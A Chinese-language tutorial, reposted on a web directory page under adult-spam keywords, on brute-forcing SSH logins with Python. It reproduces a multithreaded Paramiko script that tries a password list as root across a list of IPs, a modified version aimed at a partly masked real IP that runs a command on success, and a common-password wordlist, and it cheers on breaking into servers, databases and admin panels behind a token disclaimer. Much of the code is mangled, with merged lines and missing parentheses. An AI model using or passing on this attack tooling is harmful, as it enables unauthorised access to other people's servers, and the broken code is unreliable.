日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

暴力破解屬于密碼破解的一種,也是最常見的破解方法之一,通過不斷的嘗試來達到破解的目的,所以暴力破解的本質就是一種枚舉。

現在也有很多流行的破解軟件,不過個人覺得裝上kail其實也就啥都有了,但是今天我們不說他們,今天主題是如何使用Python/ target=_blank class=infotextkey>Python來進行SSH的暴力破解。

手把手教你用Python進行SSH暴力破解

在Github上有一個庫叫sshfucker,專門用于 SSH 的暴力破解。

https://github.com/TheKingOfDuck/sshfucker

這個模塊很簡單,代碼實現不到70行,只封裝了一個py文件。

# !/usr/bin/python python
# -*- coding: utf-8 -*-
import paramiko, threading, sys, time, os
class SSHThread(threading.Thread):def __init__(self, ip, port, timeout, dic, LogFile):threading.Thread.__init__(self)self.ip = ipself.port = portself.dict = dicself.timeout = timeoutself.LogFile = LogFiledef run(self):print("Start try ssh => %s" % self.ip)
username = "root"
try:password = open(self.dict).read.split('n')
except:print("Open dict file `%s` error" % self.dict)
exit(1)
for pwd in password:
try:ssh = paramiko.SSHClientssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)ssh.connect(self.ip, self.port, username, pwd, timeout=self.timeout)print("nIP => %s, Login %s => %s n" % (self.ip, username, pwd))
open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s n" % (
time.asctime(time.localtime(time.time)), self.ip, self.port, username, pwd))
breakexcept:print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
passdef ViolenceSSH(ip, port, timeout, dic, LogFile):ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)ssh_scan.startdef main(ipFile, dic, log):
if ipFile == "-h":
helptry:ipText = open(ipFile).read.split('n')
for ip in ipText:
if ip != '':
time.sleep(0.5)
threading.Thread(target=ViolenceSSH, args=(ip, 22, 1, dic, log,)).start
except:print("Open IP list file `%s` error" % ipFile)
exit(1)
def help:print("python ssh.scan.py :n
修改dict下的ip文件,password按需求修改,然后執行腳本。 n")
exit(1)
if __name__ == '__main__':
fpath = os.path.dirname(os.path.abspath('__file__'))
ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath + "/dict/ip"
dic = sys.argv[2] if len(sys.argv) > 2 else fpath + "/dict/password"
log = sys.argv[3] if len(sys.argv) > 3 else fpath + "/log/sshd"
try:os.system("clear")
main(ipFile, dic, log)
except KeyboardInterrupt:exit(1)

我們可以明顯的看到,這個模塊依賴于 Paramiko

Paramiko 是用于建立 SSH2 連接(客戶端或服務器)的庫,基于Python實現。重點是使用 SSH2 作為 SSL 的替代方法,以在 Python 腳本之間建立安全連接。支持所有主要密碼和哈希方法。也支持 SFTP 客戶端和服務器模式。

Paramiko 庫在Python自動化運維領域很受推崇。

pip install paramiko

然后我們還可以看到這個模塊實際上就是利用 Paramiko 建立了 ssh 的客戶端連接,批量導入文件,采用多線程的方式來進行暴力破解,思路很清晰。

我們修改代碼實現如下

import sys
import paramikoimport threadingfrom concurrent.futures import ThreadPoolExecutor
ssh = paramiko.SSHClientssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)is_find=Falsedef SshCheck(password):try:
ssh.connect("119.23.xx.xx", 22, 'root', password, timeout=1.5)
stdin, stdout, stderr = ssh.exec_command('df')
result = stdout.readif result:sys.stdout.write('[OK]' + 't' + password + 'n')
global is_find
is_find = Trueexitexcept Exception as e:
print(e, "失?。。?!")
finally:
ssh.closefiledata = open("pwds.txt", "r")
def run:
pool = ThreadPoolExecutor(3)
while 1:
global is_find
if is_find:breakline = filedata.readlineif not line:
breakline = line.strip("n")
pool.submit(SshCheck,line)run

采用了協程并發來進行ssh連接,如果成功破解我們就直接退出。

這里的pwds.txt 文件用于存放破解密碼。

password
123456123456781234qwerty12345dragonpussybaseballfootballletmeinmonkey696969abc123mustangmichaelshadowmasterjennifer1111112000jordan......
python sshfucker.py

回車鍵一按,叮叮,收到服務器被入侵的短信?。?!

手把手教你用Python進行SSH暴力破解

你也可以用你的云服務器或者自己搭建的服務器進行測試,只要 ssh驗證的ip,端口和密碼正確,即破解成功。

破解一直爽,一直破解一直爽,利用Python不僅可以對ssh進行暴力破解,數據庫,網站后臺管理也是同樣的道理,只不過使用的庫不同而已。

本文只是出于對Python的學習研究,請勿用于非法用途,小心被請喝茶喲?。?/p>

分享到:
標簽:暴力 破解 SSH
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定